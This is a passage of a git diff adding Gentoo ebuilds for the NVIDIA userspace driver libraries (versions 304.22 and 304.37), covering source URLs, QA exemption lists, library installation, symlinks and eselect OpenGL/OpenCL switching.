+	export _POSIX2_VERSION="199209"
+
+	# set variables to where files are in the package structure
+	if use kernel_FreeBSD; then
+		NV_DOC="${S}/doc"
+		NV_EXEC="${S}/obj"
+		NV_LIB="${S}/obj"
+		NV_SRC="${S}/src"
+		NV_MAN="${S}/x11/man"
+		NV_X11="${S}/obj"
+		NV_X11_DRV="${NV_X11}"
+		NV_X11_EXT="${NV_X11}"
+		NV_SOVER=1
+	elif use kernel_linux; then
+		NV_DOC="${S}"
+		NV_EXEC="${S}"
+		NV_LIB="${S}"
+		NV_SRC="${S}/kernel"
+		NV_MAN="${S}"
+		NV_X11="${S}"
+		NV_X11_DRV="${NV_X11}"
+		NV_X11_EXT="${NV_X11}"
+		NV_SOVER=${PV}
+	else
+		die "Could not determine proper NVIDIA package"
+	fi
+}
+
+src_unpack() {
+	if ! use x86-fbsd; then
+		cd "${S}"
+		unpack_makeself
+	else
+		unpack ${A}
+	fi
+}
+
+src_prepare() {
+	# Please add a brief description for every added patch
+	use x86-fbsd && cd doc
+	cat <<- EOF > "${S}"/nvidia.icd
+		/usr/$(get_libdir)/libcuda.so
+	EOF
+}
+
+src_compile() {
+	# This is already the default on Linux, as there's no toplevel Makefile, but
+	# on FreeBSD there's one and triggers the kernel module build, as we install
+	# it by itself, pass this.
+
+	cd "${NV_SRC}"
+	if use x86-fbsd; then
+		MAKE="$(get_bmake)" CFLAGS="-Wno-sign-compare" emake CC="$(tc-getCC)" \
+			LD="$(tc-getLD)" LDFLAGS="$(raw-ldflags)" || die
+	fi
+}
+
+src_install() {
+	if use kernel_linux; then
+		VIDEOGROUP="$(egetent group video | cut -d ':' -f 3)"
+		if [ -z "$VIDEOGROUP" ]; then
+			eerror "Failed to determine the video group gid."
+			die "Failed to determine the video group gid."
+		fi
+
+		# Add the aliases
+		[ -f "${FILESDIR}/nvidia-169.07" ] || die "nvidia missing in FILESDIR"
+		sed -e 's:PACKAGE:'${PF}':g' \
+			-e 's:VIDEOGID:'${VIDEOGROUP}':' "${FILESDIR}"/nvidia-169.07 > \
+			"${WORKDIR}"/nvidia
+		insinto /etc/modprobe.d
+		newins "${WORKDIR}"/nvidia nvidia.conf || die
+
+		# Ensures that our device nodes are created when not using X
+		exeinto /lib/udev
+		doexe "${FILESDIR}"/nvidia-udev.sh
+
+		insinto /lib/udev/rules.d
+		newins "${FILESDIR}"/nvidia.udev-rule 99-nvidia.rules
+	fi
+
+	# NVIDIA kernel <-> userspace driver config lib
+	dolib.so ${NV_LIB}/libnvidia-cfg.so.${NV_SOVER} || \
+		die "failed to install libnvidia-cfg"
+	dosym libnvidia-cfg.so.${NV_SOVER} \
+		/usr/$(get_libdir)/libnvidia-cfg.so.1 || \
+		die "failed to create libnvidia-cfg.so symlink"
+	dosym libnvidia-cfg.so.1 \
+		/usr/$(get_libdir)/libnvidia-cfg.so || \
+		die "failed to create libnvidia-cfg.so symlink"
+
+	# NVIDIA monitoring library
+	dolib.so ${NV_LIB}/libnvidia-ml.so.${NV_SOVER} || \
+		die "failed to install libnvidia-ml"
+	dosym libnvidia-ml.so.${NV_SOVER} \
+		/usr/$(get_libdir)/libnvidia-ml.so.1 || \
+		die "failed to create libnvidia-ml.so symlink"
+	dosym libnvidia-ml.so.1 \
+		/usr/$(get_libdir)/libnvidia-ml.so || \
+		die "failed to create libnvidia-ml.so symlink"
+
+	# NVIDIA video decode <-> CUDA
+	dolib.so ${NV_LIB}/libnvcuvid.so.${NV_SOVER} || \
+		die "failed to install libnvcuvid.so"
+	dosym libnvcuvid.so.${NV_SOVER} \
+		/usr/$(get_libdir)/libnvcuvid.so.1 || \
+		die "failed to create libnvcuvid.so symlink"
+	dosym libnvcuvid.so.1 \
+		/usr/$(get_libdir)/libnvcuvid.so || \
+		die "failed to create libnvcuvid.so symlink"
+
+	# Xorg DDX driver
+	insinto /usr/$(get_libdir)/xorg/modules/drivers
+	doins ${NV_X11_DRV}/nvidia_drv.so || die "failed to install nvidia_drv.so"
+
+	# Xorg GLX driver
+	insinto /usr/$(get_libdir)/opengl/nvidia/extensions
+	doins ${NV_X11_EXT}/libglx.so.${NV_SOVER} || \
+		die "failed to install libglx.so"
+	dosym libglx.so.${NV_SOVER} \
+		/usr/$(get_libdir)/opengl/nvidia/extensions/libglx.so || \
+		die "failed to create libglx.so symlink"
+
+	# XvMC driver
+	dolib.a ${NV_X11}/libXvMCNVIDIA.a || \
+		die "failed to install libXvMCNVIDIA.so"
+	dolib.so ${NV_X11}/libXvMCNVIDIA.so.${NV_SOVER} || \
+		die "failed to install libXvMCNVIDIA.so"
+	dosym libXvMCNVIDIA.so.${NV_SOVER} \
+		/usr/$(get_libdir)/libXvMCNVIDIA.so.1 || \
+		die "failed to create libXvMCNVIDIA.so symlink"
+	dosym libXvMCNVIDIA.so.1 /usr/$(get_libdir)/libXvMCNVIDIA.so || \
+		die "failed to create libXvMCNVIDIA.so symlink"
+	dosym libXvMCNVIDIA.so.${NV_SOVER} \
+		/usr/$(get_libdir)/libXvMCNVIDIA_dynamic.so.1 || \
+		die "failed to create libXvMCNVIDIA_dynamic.so symlink"
+
+	# OpenCL ICD for NVIDIA
+	if use kernel_linux; then
+		insinto /etc/OpenCL/vendors
+		doins nvidia.icd
+	fi
+
+	# Documentation
+	dohtml ${NV_DOC}/html/*
+	if use x86-fbsd; then
+		dodoc "${NV_DOC}/README"
+		doman "${NV_MAN}/nvidia-xconfig.1"
+	else
+		# Docs
+		newdoc "${NV_DOC}/README.txt" README
+		dodoc "${NV_DOC}/NVIDIA_Changelog"
+		doman "${NV_MAN}/nvidia-smi.1.gz"
+		doman "${NV_MAN}/nvidia-xconfig.1.gz"
+	fi
+
+	# Helper Apps
+	exeinto /opt/bin/
+	doexe ${NV_EXEC}/nvidia-xconfig || die
+	doexe ${NV_EXEC}/nvidia-debugdump || die
+	doexe ${NV_EXEC}/nvidia-bug-report.sh || die
+	if use kernel_linux; then
+		doexe ${NV_EXEC}/nvidia-smi || die
+	fi
+
+	if has_multilib_profile ; then
+		local OABI=${ABI}
+		for ABI in $(get_install_abis) ; do
+			src_install-libs
+		done
+		ABI=${OABI}
+		unset OABI
+	else
+		src_install-libs
+	fi
+
+	is_final_abi || die "failed to iterate through all ABIs"
+
+	# GNOME3 gnome-terminal redraw bug workaround,
+	# see: https://bugzilla.gnome.org/show_bug.cgi?id=664858
+	doenvd "${FILESDIR}/90mutter-disable-culling"
+}
+
+# Install nvidia library:
+# the first parameter is the place where to install it
+# the second parameter is the base name of the library
+# the third parameter is the provided soversion
+donvidia() {
+	dodir $1
+	exeinto $1
+
+	libname=$(basename $2)
+
+	doexe $2.$3 || die "failed to install $2"
+	dosym ${libname}.$3 $1/${libname} || die "failed to symlink $2"
+	[[ $3 != "1" ]] && dosym ${libname}.$3 $1/${libname}.1
+}
+
+src_install-libs() {
+	local inslibdir=$(get_libdir)
+	local NV_ROOT="/usr/${inslibdir}/opengl/nvidia"
+	local CL_ROOT=/usr/${inslibdir}/OpenCL/vendors/nvidia
+	local libdir= sover=
+
+	if use kernel_linux; then
+		if has_multilib_profile && [[ ${ABI} == "x86" ]] ; then
+			libdir=32
+		else
+			libdir=.
+		fi
+		sover=${PV}
+	else
+		libdir=obj
+		# on FreeBSD it has just .1 suffix
+		sover=1
+	fi
+
+	# The GLX libraries
+	donvidia ${NV_ROOT}/lib ${libdir}/libGL.so ${sover}
+	donvidia /usr/${inslibdir} ${libdir}/libnvidia-glcore.so ${sover}
+	if use x86-fbsd; then
+		donvidia ${NV_ROOT}/lib ${libdir}/libnvidia-tls.so ${sover}
+	else
+		donvidia ${NV_ROOT}/lib ${libdir}/tls/libnvidia-tls.so ${sover}
+	fi
+
+	# VDPAU
+	donvidia /usr/${inslibdir} ${libdir}/libvdpau_nvidia.so ${sover}
+
+	# CUDA & OpenCL
+	if use kernel_linux; then
+		donvidia /usr/${inslibdir} ${libdir}/libcuda.so ${sover}
+		donvidia /usr/${inslibdir} ${libdir}/libnvidia-compiler.so ${sover}
+		donvidia ${CL_ROOT} ${libdir}/libOpenCL.so 1.0.0
+		#dosym libOpenCL.so.1 ${CL_ROOT}/libOpenCL.so
+	fi
+}
+
+pkg_preinst() {
+	# Clean the dynamic libGL stuff's home to ensure
+	# we dont have stale libs floating around
+	if [ -d "${ROOT}"/usr/lib/opengl/nvidia ] ; then
+		rm -rf "${ROOT}"/usr/lib/opengl/nvidia/*
+	fi
+	# Make sure we nuke the old nvidia-glx's env.d file
+	if [ -e "${ROOT}"/etc/env.d/09nvidia ] ; then
+		rm -f "${ROOT}"/etc/env.d/09nvidia
+	fi
+}
+
+pkg_postinst() {
+	# Switch to the nvidia implementation
+	"${ROOT}"/usr/bin/eselect opengl set --use-old nvidia
+	"${ROOT}"/usr/bin/eselect opencl set --use-old nvidia
+
+	elog "To use the NVIDIA GLX, run \"eselect opengl set nvidia\""
+	elog
+	elog "To use the NVIDIA CUDA/OpenCL, run \"eselect opencl set nvidia\""
+	elog
+	elog "NVIDIA has requested that any bug reports submitted have the"
+	elog "output of /opt/bin/nvidia-bug-report.sh included."
+	elog
+	elog "To work with compiz, you must enable the AddARGBGLXVisuals option."
+	elog
+	elog "If you are having resolution problems, try disabling DynamicTwinView."
+	elog
+}
+
+pkg_postrm() {
+	"${ROOT}"/usr/bin/eselect opengl set --use-old xorg-x11
+}
diff --git a/x11-drivers/nvidia-userspace/nvidia-userspace-304.22.ebuild b/x11-drivers/nvidia-userspace/nvidia-userspace-304.22.ebuild
new file mode 100644
index 00000000..301d8462
--- /dev/null
+++ b/x11-drivers/nvidia-userspace/nvidia-userspace-304.22.ebuild
@@ -0,0 +1,453 @@
+# Copyright 1999-2011 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI="2"
+
+inherit eutils unpacker multilib portability versionator flag-o-matic
+
+X86_NV_PACKAGE="NVIDIA-Linux-x86-${PV}"
+AMD64_NV_PACKAGE="NVIDIA-Linux-x86_64-${PV}"
+X86_FBSD_NV_PACKAGE="NVIDIA-FreeBSD-x86-${PV}"
+
+DESCRIPTION="NVIDIA X11 userspace libraries and applications"
+HOMEPAGE="http://www.nvidia.com/"
+SRC_URI="x86? ( http://us.download.nvidia.com/XFree86/Linux-x86/${PV}/${X86_NV_PACKAGE}.run )
+	 amd64? ( http://us.download.nvidia.com/XFree86/Linux-x86_64/${PV}/${AMD64_NV_PACKAGE}.run )
+	 x86-fbsd? ( http://us.download.nvidia.com/XFree86/FreeBSD-x86/${PV}/${X86_FBSD_NV_PACKAGE}.tar.gz )"
+
+LICENSE="NVIDIA"
+SLOT="0"
+KEYWORDS="-* ~amd64 ~x86 ~x86-fbsd"
+IUSE="acpi multilib kernel_linux"
+RESTRICT="strip"
+EMULTILIB_PKG="true"
+
+COMMON="<x11-base/xorg-server-1.12.99
+	kernel_linux? ( >=sys-libs/glibc-2.6.1 )
+	multilib? ( app-emulation/emul-linux-x86-xlibs )
+	>=app-admin/eselect-opengl-1.0.9
+	app-admin/eselect-opencl
+	!<media-video/nvidia-settings-256.52"
+DEPEND="${COMMON}"
+RDEPEND="${COMMON}
+	x11-libs/libXvMC
+        !<x11-drivers/nvidia-userspace-${PV}
+        !>x11-drivers/nvidia-userspace-${PV}
+	acpi? ( sys-power/acpid )"
+PDEPEND=">=x11-libs/libvdpau-0.3-r1"
+
+QA_TEXTRELS_x86="
+	usr/lib/OpenCL/vendors/nvidia/libOpenCL.so.1.0.0
+	usr/lib/libXvMCNVIDIA.so.${PV}
+	usr/lib/libcuda.so.${PV}
+	usr/lib/libnvcuvid.so.${PV}
+	usr/lib/libnvidia-cfg.so.${PV}
+	usr/lib/libnvidia-compiler.so.${PV}
+	usr/lib/libnvidia-glcore.so.${PV}
+	usr/lib/libnvidia-ml.so.${PV}
+	usr/lib/libvdpau_nvidia.so.${PV}
+	usr/lib/opengl/nvidia/extensions/libglx.so.${PV}
+	usr/lib/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib/opengl/nvidia/lib/libnvidia-tls.so.${PV}
+	usr/lib/xorg/modules/drivers/nvidia_drv.so"
+
+QA_TEXTRELS_x86_fbsd="boot/modules/nvidia.ko
+	usr/lib/opengl/nvidia/lib/libGL.so.1
+	usr/lib/libnvidia-glcore.so.1
+	usr/lib/libvdpau_nvidia.so.1
+	usr/lib/libnvidia-cfg.so.1
+	usr/lib/opengl/nvidia/extensions/libglx.so.1
+	usr/lib/xorg/modules/drivers/nvidia_drv.so"
+
+QA_TEXTRELS_amd64="usr/lib32/opengl/nvidia/lib/libnvidia-tls.so.${PV}
+	usr/lib32/libnvidia-glcore.so.${PV}
+	usr/lib32/libvdpau_nvidia.so.${PV}
+	usr/lib32/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib32/libcuda.so.${PV}
+	usr/lib32/OpenCL/vendors/nvidia/libOpenCL.so.1.0.0
+	usr/lib32/libnvidia-compiler.so.${PV}"
+
+QA_EXECSTACK_x86="usr/lib/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib/libnvidia-glcore.so.${PV}
+	usr/lib/opengl/nvidia/extensions/libglx.so.${PV}
+	usr/lib64/libXvMCNVIDIA.so.${PV}
+	usr/lib/libXvMCNVIDIA.a:NVXVMC.o
+	usr/lib/libvdpau_nvidia.so.${PV}
+	usr/lib/libnvidia-compiler.so.${PV}
+	usr/lib/libcuda.so.${PV}
+	usr/lib/OpenCL/vendors/nvidia/libOpenCL.so.1.0.0"
+
+QA_EXECSTACK_amd64="usr/lib32/libnvidia-glcore.so.${PV}
+	usr/lib32/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib32/opengl/nvidia/lib/libnvidia-tls.so.${PV}
+	usr/lib32/libvdpau_nvidia.so.${PV}
+	usr/lib32/libcuda.so.${PV}
+	usr/lib32/OpenCL/vendors/nvidia/libOpenCL.so.1.0.0
+	usr/lib32/libnvidia-compiler.so.${PV}
+	usr/lib64/libXvMCNVIDIA.a:NVXVMC.o
+	usr/lib64/libnvidia-cfg.so.${PV}
+	usr/lib64/libnvidia-ml.so.${PV}
+	usr/lib64/libvdpau_nvidia.so.${PV}
+	usr/lib64/opengl/nvidia/lib/libnvidia-tls.so.${PV}
+	usr/lib64/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib64/libnvidia-glcore.so.${PV}
+	usr/lib64/opengl/nvidia/extensions/libglx.so.${PV}
+	usr/lib64/libXvMCNVIDIA.so.${PV}
+	usr/lib64/libcuda.so.${PV}
+	usr/lib64/OpenCL/vendors/nvidia/libOpenCL.so.1.0.0
+	usr/lib64/libnvidia-compiler.so.${PV}
+	usr/lib64/xorg/modules/drivers/nvidia_drv.so
+	opt/bin/nvidia-smi
+	opt/bin/nvidia-xconfig
+	opt/bin/nvidia-debugdump
+	opt/bin/nvidia-settings"
+
+QA_WX_LOAD_x86="usr/lib/libnvidia-glcore.so.${PV}
+	usr/lib/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib/opengl/nvidia/extensions/libglx.so.${PV}
+	usr/lib/libXvMCNVIDIA.a
+	usr/lib64/libXvMCNVIDIA.so.${PV}"
+
+QA_WX_LOAD_amd64="usr/lib32/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib32/libnvidia-glcore.so.${PV}
+	usr/lib64/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib64/libnvidia-glcore.so.${PV}
+	usr/lib64/opengl/nvidia/extensions/libglx.so.${PV}
+	usr/lib64/libXvMCNVIDIA.so.${PV}"
+
+QA_SONAME_x86="usr/lib/libnvidia-compiler.so.${PV}"
+
+QA_SONAME_amd64="usr/lib64/libnvidia-compiler.so.${PV}
+	usr/lib32/libnvidia-compiler.so.${PV}"
+
+QA_DT_HASH_amd64="usr/lib32/libcuda.so.${PV}
+	usr/lib32/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib32/libnvidia-glcore.so.${PV}
+	usr/lib32/opengl/nvidia/lib/libnvidia-tls.so.${PV}
+	usr/lib32/libvdpau_nvidia.so.${PV}
+	usr/lib32/OpenCL/vendors/nvidia/libOpenCL.so.1.0.0
+	usr/lib32/libnvidia-compiler.so.${PV}
+	usr/lib64/libXvMCNVIDIA.so.${PV}
+	usr/lib64/libcuda.so.${PV}
+	usr/lib64/libnvidia-cfg.so.${PV}
+	usr/lib64/libnvidia-glcore.so.${PV}
+	usr/lib64/libnvidia-ml.so.${PV}
+	usr/lib64/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib64/opengl/nvidia/lib/libnvidia-tls.so.${PV}
+	usr/lib64/opengl/nvidia/extensions/libglx.so.${PV}
+	usr/lib64/xorg/modules/drivers/nvidia_drv.so
+	usr/lib64/libvdpau_nvidia.so.${PV}
+	usr/lib64/OpenCL/vendors/nvidia/libOpenCL.so.1.0.0
+	usr/lib64/libnvidia-compiler.so.${PV}
+	usr/lib64/libnvcuvid.so.${PV}
+	opt/bin/nvidia-smi
+	opt/bin/nvidia-xconfig
+	opt/bin/nvidia-debugdump
+	opt/bin/nvidia-settings"
+
+QA_DT_HASH_x86="usr/lib/libcuda.so.${PV}
+	usr/lib/libnvidia-cfg.so.${PV}
+	usr/lib/libnvidia-glcore.so.${PV}
+	usr/lib/libnvidia-ml.so.${PV}
+	usr/lib/opengl/nvidia/lib/libGL.so.${PV}
+	usr/lib/opengl/nvidia/lib/libnvidia-tls.so.${PV}
+	usr/lib/opengl/nvidia/extensions/libglx.so.${PV}
+	usr/lib/xorg/modules/drivers/nvidia_drv.so
+	usr/lib/libXvMCNVIDIA.so.${PV}
+	usr/lib/libvdpau_nvidia.so.${PV}
+	usr/lib/OpenCL/vendors/nvidia/libOpenCL.so.1.0.0
+	usr/lib/libnvidia-compiler.so.${PV}
+	usr/lib/libnvcuvid.so.${PV}
+	opt/bin/nvidia-smi
+	opt/bin/nvidia-xconfig
+	opt/bin/nvidia-debugdump
+	opt/bin/nvidia-settings"
+
+
+S="${WORKDIR}/"
+
+pkg_setup() {
+	# try to turn off distcc and ccache for people that have a problem with it
+	export DISTCC_DISABLE=1
+	export CCACHE_DISABLE=1
+
+	if use amd64 && has_multilib_profile && [ "${DEFAULT_ABI}" != "amd64" ]; then
+		eerror "This ebuild doesn't currently support changing your default abi."
+		die "Unexpected \${DEFAULT_ABI} = ${DEFAULT_ABI}"
+	fi
+
+	# On BSD userland it wants real make command
+	use userland_BSD && MAKE="$(get_bmake)"
+
+	export _POSIX2_VERSION="199209"
+
+	# set variables to where files are in the package structure
+	if use kernel_FreeBSD; then
+		NV_DOC="${S}/doc"
+		NV_EXEC="${S}/obj"
+		NV_LIB="${S}/obj"
+		NV_SRC="${S}/src"
+		NV_MAN="${S}/x11/man"
+		NV_X11="${S}/obj"
+		NV_X11_DRV="${NV_X11}"
+		NV_X11_EXT="${NV_X11}"
+		NV_SOVER=1
+	elif use kernel_linux; then
+		NV_DOC="${S}"
+		NV_EXEC="${S}"
+		NV_LIB="${S}"
+		NV_SRC="${S}/kernel"
+		NV_MAN="${S}"
+		NV_X11="${S}"
+		NV_X11_DRV="${NV_X11}"
+		NV_X11_EXT="${NV_X11}"
+		NV_SOVER=${PV}
+	else
+		die "Could not determine proper NVIDIA package"
+	fi
+}
+
+src_unpack() {
+	if ! use x86-fbsd; then
+		cd "${S}"
+		unpack_makeself
+	else
+		unpack ${A}
+	fi
+}
+
+src_prepare() {
+	# Please add a brief description for every added patch
+	use x86-fbsd && cd doc
+	cat <<- EOF > "${S}"/nvidia.icd
+		/usr/$(get_libdir)/libcuda.so
+	EOF
+}
+
+src_compile() {
+	# This is already the default on Linux, as there's no toplevel Makefile, but
+	# on FreeBSD there's one and triggers the kernel module build, as we install
+	# it by itself, pass this.
+
+	cd "${NV_SRC}"
+	if use x86-fbsd; then
+		MAKE="$(get_bmake)" CFLAGS="-Wno-sign-compare" emake CC="$(tc-getCC)" \
+			LD="$(tc-getLD)" LDFLAGS="$(raw-ldflags)" || die
+	fi
+}
+
+src_install() {
+	if use kernel_linux; then
+		VIDEOGROUP="$(egetent group video | cut -d ':' -f 3)"
+		if [ -z "$VIDEOGROUP" ]; then
+			eerror "Failed to determine the video group gid."
+			die "Failed to determine the video group gid."
+		fi
+
+		# Add the aliases
+		[ -f "${FILESDIR}/nvidia-169.07" ] || die "nvidia missing in FILESDIR"
+		sed -e 's:PACKAGE:'${PF}':g' \
+			-e 's:VIDEOGID:'${VIDEOGROUP}':' "${FILESDIR}"/nvidia-169.07 > \
+			"${WORKDIR}"/nvidia
+		insinto /etc/modprobe.d
+		newins "${WORKDIR}"/nvidia nvidia.conf || die
+
+		# Ensures that our device nodes are created when not using X
+		exeinto /lib/udev
+		doexe "${FILESDIR}"/nvidia-udev.sh
+
+		insinto /lib/udev/rules.d
+		newins "${FILESDIR}"/nvidia.udev-rule 99-nvidia.rules
+	fi
+
+	# NVIDIA kernel <-> userspace driver config lib
+	dolib.so ${NV_LIB}/libnvidia-cfg.so.${NV_SOVER} || \
+		die "failed to install libnvidia-cfg"
+	dosym libnvidia-cfg.so.${NV_SOVER} \
+		/usr/$(get_libdir)/libnvidia-cfg.so.1 || \
+		die "failed to create libnvidia-cfg.so symlink"
+	dosym libnvidia-cfg.so.1 \
+		/usr/$(get_libdir)/libnvidia-cfg.so || \
+		die "failed to create libnvidia-cfg.so symlink"
+
+	# NVIDIA monitoring library
+	dolib.so ${NV_LIB}/libnvidia-ml.so.${NV_SOVER} || \
+		die "failed to install libnvidia-ml"
+	dosym libnvidia-ml.so.${NV_SOVER} \
+		/usr/$(get_libdir)/libnvidia-ml.so.1 || \
+		die "failed to create libnvidia-ml.so symlink"
+	dosym libnvidia-ml.so.1 \
+		/usr/$(get_libdir)/libnvidia-ml.so || \
+		die "failed to create libnvidia-ml.so symlink"
+
+	# NVIDIA video decode <-> CUDA
+	dolib.so ${NV_LIB}/libnvcuvid.so.${NV_SOVER} || \
+		die "failed to install libnvcuvid.so"
+	dosym libnvcuvid.so.${NV_SOVER} \
+		/usr/$(get_libdir)/libnvcuvid.so.1 || \
+		die "failed to create libnvcuvid.so symlink"
+	dosym libnvcuvid.so.1 \
+		/usr/$(get_libdir)/libnvcuvid.so || \
+		die "failed to create libnvcuvid.so symlink"
+
+	# Xorg DDX driver
+	insinto /usr/$(get_libdir)/xorg/modules/drivers
+	doins ${NV_X11_DRV}/nvidia_drv.so || die "failed to install nvidia_drv.so"
+
+	# Xorg GLX driver
+	insinto /usr/$(get_libdir)/opengl/nvidia/extensions
+	doins ${NV_X11_EXT}/libglx.so.${NV_SOVER} || \
+		die "failed to install libglx.so"
+	dosym libglx.so.${NV_SOVER} \
+		/usr/$(get_libdir)/opengl/nvidia/extensions/libglx.so || \
+		die "failed to create libglx.so symlink"
+
+	# XvMC driver
+	dolib.a ${NV_X11}/libXvMCNVIDIA.a || \
+		die "failed to install libXvMCNVIDIA.so"
+	dolib.so ${NV_X11}/libXvMCNVIDIA.so.${NV_SOVER} || \
+		die "failed to install libXvMCNVIDIA.so"
+	dosym libXvMCNVIDIA.so.${NV_SOVER} \
+		/usr/$(get_libdir)/libXvMCNVIDIA.so.1 || \
+		die "failed to create libXvMCNVIDIA.so symlink"
+	dosym libXvMCNVIDIA.so.1 /usr/$(get_libdir)/libXvMCNVIDIA.so || \
+		die "failed to create libXvMCNVIDIA.so symlink"
+	dosym libXvMCNVIDIA.so.${NV_SOVER} \
+		/usr/$(get_libdir)/libXvMCNVIDIA_dynamic.so.1 || \
+		die "failed to create libXvMCNVIDIA_dynamic.so symlink"
+
+	# OpenCL ICD for NVIDIA
+	if use kernel_linux; then
+		insinto /etc/OpenCL/vendors
+		doins nvidia.icd
+	fi
+
+	# Documentation
+	dohtml ${NV_DOC}/html/*
+	if use x86-fbsd; then
+		dodoc "${NV_DOC}/README"
+		doman "${NV_MAN}/nvidia-xconfig.1"
+	else
+		# Docs
+		newdoc "${NV_DOC}/README.txt" README
+		dodoc "${NV_DOC}/NVIDIA_Changelog"
+		doman "${NV_MAN}/nvidia-smi.1.gz"
+		doman "${NV_MAN}/nvidia-xconfig.1.gz"
+	fi
+
+	# Helper Apps
+	exeinto /opt/bin/
+	doexe ${NV_EXEC}/nvidia-xconfig || die
+	doexe ${NV_EXEC}/nvidia-debugdump || die
+	doexe ${NV_EXEC}/nvidia-bug-report.sh || die
+	if use kernel_linux; then
+		doexe ${NV_EXEC}/nvidia-smi || die
+	fi
+
+	if has_multilib_profile ; then
+		local OABI=${ABI}
+		for ABI in $(get_install_abis) ; do
+			src_install-libs
+		done
+		ABI=${OABI}
+		unset OABI
+	else
+		src_install-libs
+	fi
+
+	is_final_abi || die "failed to iterate through all ABIs"
+
+	# GNOME3 gnome-terminal redraw bug workaround,
+	# see: https://bugzilla.gnome.org/show_bug.cgi?id=664858
+	doenvd "${FILESDIR}/90mutter-disable-culling"
+}
+
+# Install nvidia library:
+# the first parameter is the place where to install it
+# the second parameter is the base name of the library
+# the third parameter is the provided soversion
+donvidia() {
+	dodir $1
+	exeinto $1
+
+	libname=$(basename $2)
+
+	doexe $2.$3 || die "failed to install $2"
+	dosym ${libname}.$3 $1/${libname} || die "failed to symlink $2"
+	[[ $3 != "1" ]] && dosym ${libname}.$3 $1/${libname}.1
+}
+
+src_install-libs() {
+	local inslibdir=$(get_libdir)
+	local NV_ROOT="/usr/${inslibdir}/opengl/nvidia"
+	local CL_ROOT=/usr/${inslibdir}/OpenCL/vendors/nvidia
+	local libdir= sover=
+
+	if use kernel_linux; then
+		if has_multilib_profile && [[ ${ABI} == "x86" ]] ; then
+			libdir=32
+		else
+			libdir=.
+		fi
+		sover=${PV}
+	else
+		libdir=obj
+		# on FreeBSD it has just .1 suffix
+		sover=1
+	fi
+
+	# The GLX libraries
+	donvidia ${NV_ROOT}/lib ${libdir}/libGL.so ${sover}
+	donvidia /usr/${inslibdir} ${libdir}/libnvidia-glcore.so ${sover}
+	if use x86-fbsd; then
+		donvidia ${NV_ROOT}/lib ${libdir}/libnvidia-tls.so ${sover}
+	else
+		donvidia ${NV_ROOT}/lib ${libdir}/tls/libnvidia-tls.so ${sover}
+	fi
+
+	# VDPAU
+	donvidia /usr/${inslibdir} ${libdir}/libvdpau_nvidia.so ${sover}
+
+	# CUDA & OpenCL
+	if use kernel_linux; then
+		donvidia /usr/${inslibdir} ${libdir}/libcuda.so ${sover}
+		donvidia /usr/${inslibdir} ${libdir}/libnvidia-compiler.so ${sover}
+		donvidia ${CL_ROOT} ${libdir}/libOpenCL.so 1.0.0
+		#dosym libOpenCL.so.1 ${CL_ROOT}/libOpenCL.so
+	fi
+}
+
+pkg_preinst() {
+	# Clean the dynamic libGL stuff's home to ensure
+	# we dont have stale libs floating around
+	if [ -d "${ROOT}"/usr/lib/opengl/nvidia ] ; then
+		rm -rf "${ROOT}"/usr/lib/opengl/nvidia/*
+	fi
+	# Make sure we nuke the old nvidia-glx's env.d file
+	if [ -e "${ROOT}"/etc/env.d/09nvidia ] ; then
+		rm -f "${ROOT}"/etc/env.d/09nvidia
+	fi
+}
+
+pkg_postinst() {
+	# Switch to the nvidia implementation
+	"${ROOT}"/usr/bin/eselect opengl set --use-old nvidia
+	"${ROOT}"/usr/bin/eselect opencl set --use-old nvidia
+
+	elog "To use the NVIDIA GLX, run \"eselect opengl set nvidia\""
+	elog
+	elog "To use the NVIDIA CUDA/OpenCL, run \"eselect opencl set nvidia\""
+	elog
+	elog "NVIDIA has requested that any bug reports submitted have the"
+	elog "output of /opt/bin/nvidia-bug-report.sh included."
+	elog
+	elog "To work with compiz, you must enable the AddARGBGLXVisuals option."
+	elog
+	elog "If you are having resolution problems, try disabling DynamicTwinView."
+	elog
+}
+
+pkg_postrm() {
+	"${ROOT}"/usr/bin/eselect opengl set --use-old xorg-x11
+}
diff --git a/x11-drivers/nvidia-userspace/nvidia-userspace-304.37.ebuild b/x11-drivers/nvidia-userspace/nvidia-userspace-304.37.ebuild
new file mode 100644
index 00000000..636221f7
--- /dev/null
+++ b/x11-drivers/nvidia-userspace/nvidia-userspace-304.37.ebuild
@@ -0,0 +1,385 @@
+# Copyright 1999-2012 Gentoo Foundation
+# Distributed under the terms of the GNU General Public License v2
+# $Header: $
+
+EAPI=4
+
+inherit eutils flag-o-matic linux-info linux-mod multilib nvidia-driver \
+	portability toolchain-funcs unpacker user versionator
+
+X86_NV_PACKAGE="NVIDIA-Linux-x86-${PV}"
+AMD64_NV_PACKAGE="NVIDIA-Linux-x86_64-${PV}"
+X86_FBSD_NV_PACKAGE="NVIDIA-FreeBSD-x86-${PV}"
+AMD64_FBSD_NV_PACKAGE="NVIDIA-FreeBSD-x86_64-${PV}"
+
+DESCRIPTION="NVIDIA X11 userspace libraries and applications"
+HOMEPAGE="http://www.nvidia.com/"
+SRC_URI="x86? ( http://us.download.nvidia.com/XFree86/Linux-x86/${PV}/${X86_NV_PACKAGE}.run )
+	 amd64? ( http://us.download.nvidia.com/XFree86/Linux-x86_64/${PV}/${AMD64_NV_PACKAGE}.run )
+	 amd64-fbsd? ( http://us.download.nvidia.com/XFree86/FreeBSD-x86_64/${PV}/${AMD64_FBSD_NV_PACKAGE}.tar.gz )
+	 x86-fbsd? ( http://us.download.nvidia.com/XFree86/FreeBSD-x86/${PV}/${X86_FBSD_NV_PACKAGE}.tar.gz )"
+
+LICENSE="NVIDIA"
+SLOT="0"
+KEYWORDS="-* ~amd64 ~x86 ~amd64-fbsd ~x86-fbsd"
+IUSE="acpi multilib x-multilib kernel_FreeBSD kernel_linux tools +X"
+RESTRICT="strip"
+EMULTILIB_PKG="true"
+
+COMMON="app-admin/eselect-opencl
+	kernel_linux? ( >=sys-libs/glibc-2.6.1 )
+	x-multilib? ( app-emulation/emul-linux-x86-xlibs )
+	multilib? ( app-emulation/emul-linux-x86-baselibs )
